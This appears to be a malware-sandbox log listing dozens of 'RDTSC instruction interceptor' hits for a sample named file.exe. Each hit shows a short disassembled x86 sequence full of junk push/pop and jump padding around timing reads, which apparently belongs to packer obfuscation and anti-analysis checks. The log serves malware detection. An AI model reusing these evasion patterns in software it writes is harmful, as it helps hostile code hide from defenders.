Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC03A1 second address: 4AC03E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007FE3589D55BEh 0x00000013 mov ecx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE3589D55C7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC03E5 second address: 4AC03EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03CB second address: 4AF03CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03CF second address: 4AF03D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03D5 second address: 4AF0472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE3589D55BBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE3589D55C4h 0x00000017 sub ax, 44A8h 0x0000001c jmp 00007FE3589D55BBh 0x00000021 popfd 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b call 00007FE3589D55C7h 0x00000030 pop eax 0x00000031 pushfd 0x00000032 jmp 00007FE3589D55C9h 0x00000037 xor al, 00000026h 0x0000003a jmp 00007FE3589D55C1h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0472 second address: 4AF04A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FE3588107CEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE3588107CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04A7 second address: 4AF04AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04AD second address: 4AF04B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04B1 second address: 4AF04B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04B5 second address: 4AF04E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FE3588107D9h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov bx, 901Eh 0x00000016 mov si, di 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04E3 second address: 4AF04E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0638 second address: 4AF0668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE3588107CDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0668 second address: 4AF066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF066E second address: 4AF0672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0672 second address: 4AF06B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007FE3589D55BFh 0x0000000f je 00007FE3589D5658h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov edx, 13C8F416h 0x0000001d call 00007FE3589D55C7h 0x00000022 pop eax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF07C9 second address: 4AE0015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FE3588107C7h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FE35C769C03h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FE3588107D1h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0015 second address: 4AE0072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov dl, ch 0x0000000f call 00007FE3589D55BDh 0x00000014 pop eax 0x00000015 popad 0x00000016 mov di, 8CE4h 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FE3589D55BFh 0x00000023 and esi, 56223AFEh 0x00000029 jmp 00007FE3589D55C9h 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0072 second address: 4AE0076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0076 second address: 4AE007C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE007C second address: 4AE009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE009A second address: 4AE009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE009E second address: 4AE00A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00A4 second address: 4AE00AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00AA second address: 4AE00BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00BA second address: 4AE00BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00BE second address: 4AE00C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00C2 second address: 4AE00C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00C8 second address: 4AE00CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE00CE second address: 4AE0101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 3B2C4E49h 0x0000000d jmp 00007FE3589D55C5h 0x00000012 add dword ptr [esp], 3A824FFFh 0x00000019 pushad 0x0000001a mov eax, 5AE61883h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0101 second address: 4AE0105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0105 second address: 4AE0131 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 call 00007FE3589D55B9h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE3589D55C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0131 second address: 4AE0140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0140 second address: 4AE0198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FE3589D55BAh 0x00000012 pop esi 0x00000013 pushfd 0x00000014 jmp 00007FE3589D55BBh 0x00000019 add ax, 009Eh 0x0000001e jmp 00007FE3589D55C9h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0198 second address: 4AE01A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE01A8 second address: 4AE01C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3589D55BDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE01C3 second address: 4AE01F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, bx 0x00000011 jmp 00007FE3588107CFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE01F0 second address: 4AE027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e mov cx, dx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop eax 0x00000014 movsx edi, ax 0x00000017 popad 0x00000018 popad 0x00000019 pop eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE3589D55BAh 0x00000021 adc esi, 6E52B8E8h 0x00000027 jmp 00007FE3589D55BBh 0x0000002c popfd 0x0000002d mov ch, C8h 0x0000002f popad 0x00000030 mov eax, dword ptr fs:[00000000h] 0x00000036 pushad 0x00000037 mov di, F1C4h 0x0000003b mov di, 6630h 0x0000003f popad 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov cx, di 0x00000047 pushfd 0x00000048 jmp 00007FE3589D55BDh 0x0000004d xor ecx, 7072FDB6h 0x00000053 jmp 00007FE3589D55C1h 0x00000058 popfd 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE027D second address: 4AE028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE028D second address: 4AE029E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE029E second address: 4AE02A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02A2 second address: 4AE02A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02A8 second address: 4AE02D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3588107D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02D1 second address: 4AE0306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FE3589D55BEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE3589D55BEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0306 second address: 4AE0361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FE3588107D6h 0x0000000f xchg eax, esi 0x00000010 jmp 00007FE3588107D0h 0x00000015 push eax 0x00000016 jmp 00007FE3588107CBh 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE3588107D5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0361 second address: 4AE03C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE3589D55C7h 0x00000009 sub cl, 0000002Eh 0x0000000c jmp 00007FE3589D55C9h 0x00000011 popfd 0x00000012 mov dh, ch 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ecx 0x00000018 jmp 00007FE3589D55C8h 0x0000001d mov dword ptr [esp], edi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE03C0 second address: 4AE03C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE03C4 second address: 4AE03E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE03E1 second address: 4AE044D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AF4538h] 0x0000000e jmp 00007FE3588107CEh 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 jmp 00007FE3588107D0h 0x0000001b xor eax, ebp 0x0000001d pushad 0x0000001e mov bl, E6h 0x00000020 mov dx, ax 0x00000023 popad 0x00000024 nop 0x00000025 jmp 00007FE3588107D2h 0x0000002a push eax 0x0000002b pushad 0x0000002c call 00007FE3588107D1h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE044D second address: 4AE048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushfd 0x00000011 jmp 00007FE3589D55BAh 0x00000016 jmp 00007FE3589D55C5h 0x0000001b popfd 0x0000001c popad 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 pushad 0x00000021 mov bx, cx 0x00000024 push eax 0x00000025 push edx 0x00000026 mov eax, 4CDEEDF5h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE048D second address: 4AE04C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr fs:[00000000h], eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE3588107CAh 0x00000014 xor ecx, 187B7148h 0x0000001a jmp 00007FE3588107CBh 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr [ebp-18h], esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movzx ecx, dx 0x0000002a push edx 0x0000002b pop ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE04C5 second address: 4AE04CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE04CA second address: 4AE053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, 0Dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 push edi 0x00000011 call 00007FE3588107D4h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 push ecx 0x00000019 mov eax, edi 0x0000001b pop edi 0x0000001c popad 0x0000001d mov ecx, dword ptr [eax+00000FDCh] 0x00000023 pushad 0x00000024 call 00007FE3588107D4h 0x00000029 mov dx, si 0x0000002c pop ecx 0x0000002d jmp 00007FE3588107D7h 0x00000032 popad 0x00000033 test ecx, ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov si, di 0x0000003b mov di, A112h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE053A second address: 4AE0562 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FE3589D5659h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0562 second address: 4AE0568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0568 second address: 4AE056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE056E second address: 4AE0572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0572 second address: 4AE05BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 pushfd 0x00000013 jmp 00007FE3589D55C9h 0x00000018 or ax, 1EA6h 0x0000001d jmp 00007FE3589D55C1h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05BF second address: 4AE061B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE3588107D7h 0x00000009 and cx, F1DEh 0x0000000e jmp 00007FE3588107D9h 0x00000013 popfd 0x00000014 movzx eax, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE3588107D5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE061B second address: 4AE0621 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD021F second address: 4AD0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0225 second address: 4AD0305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE3589D55BEh 0x00000012 sbb ecx, 4D046628h 0x00000018 jmp 00007FE3589D55BBh 0x0000001d popfd 0x0000001e pushad 0x0000001f mov ax, B035h 0x00000023 pushfd 0x00000024 jmp 00007FE3589D55C2h 0x00000029 jmp 00007FE3589D55C5h 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 sub esp, 2Ch 0x00000034 pushad 0x00000035 mov esi, 04398D93h 0x0000003a popad 0x0000003b push ebx 0x0000003c jmp 00007FE3589D55C2h 0x00000041 mov dword ptr [esp], ebx 0x00000044 jmp 00007FE3589D55C0h 0x00000049 xchg eax, edi 0x0000004a pushad 0x0000004b call 00007FE3589D55BEh 0x00000050 mov cx, EB51h 0x00000054 pop esi 0x00000055 mov bl, 71h 0x00000057 popad 0x00000058 push eax 0x00000059 pushad 0x0000005a call 00007FE3589D55BBh 0x0000005f jmp 00007FE3589D55C8h 0x00000064 pop ecx 0x00000065 popad 0x00000066 xchg eax, edi 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0305 second address: 4AD0309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0309 second address: 4AD030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD030F second address: 4AD0323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0340 second address: 4AD0345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0345 second address: 4AD03EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007FE3588107D1h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE3588107CDh 0x00000019 or ax, 97E6h 0x0000001e jmp 00007FE3588107D1h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FE3588107D0h 0x0000002a sbb cx, 6B88h 0x0000002f jmp 00007FE3588107CBh 0x00000034 popfd 0x00000035 popad 0x00000036 inc ebx 0x00000037 jmp 00007FE3588107D6h 0x0000003c test al, al 0x0000003e pushad 0x0000003f mov di, ax 0x00000042 mov esi, 27BB3A39h 0x00000047 popad 0x00000048 je 00007FE358810953h 0x0000004e pushad 0x0000004f mov edx, eax 0x00000051 movzx esi, di 0x00000054 popad 0x00000055 lea ecx, dword ptr [ebp-14h] 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b mov ebx, 1D44E048h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD03EC second address: 4AD040E instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a mov dword ptr [ebp-14h], edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE3589D55C1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD040E second address: 4AD0412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0412 second address: 4AD0418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD04D6 second address: 4AD04DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD04DB second address: 4AD054F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FE3C99A354Ch 0x0000000f jmp 00007FE3589D55C6h 0x00000014 js 00007FE3589D5605h 0x0000001a jmp 00007FE3589D55C0h 0x0000001f cmp dword ptr [ebp-14h], edi 0x00000022 jmp 00007FE3589D55C0h 0x00000027 jne 00007FE3C99A3516h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FE3589D55BAh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD054F second address: 4AD0555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
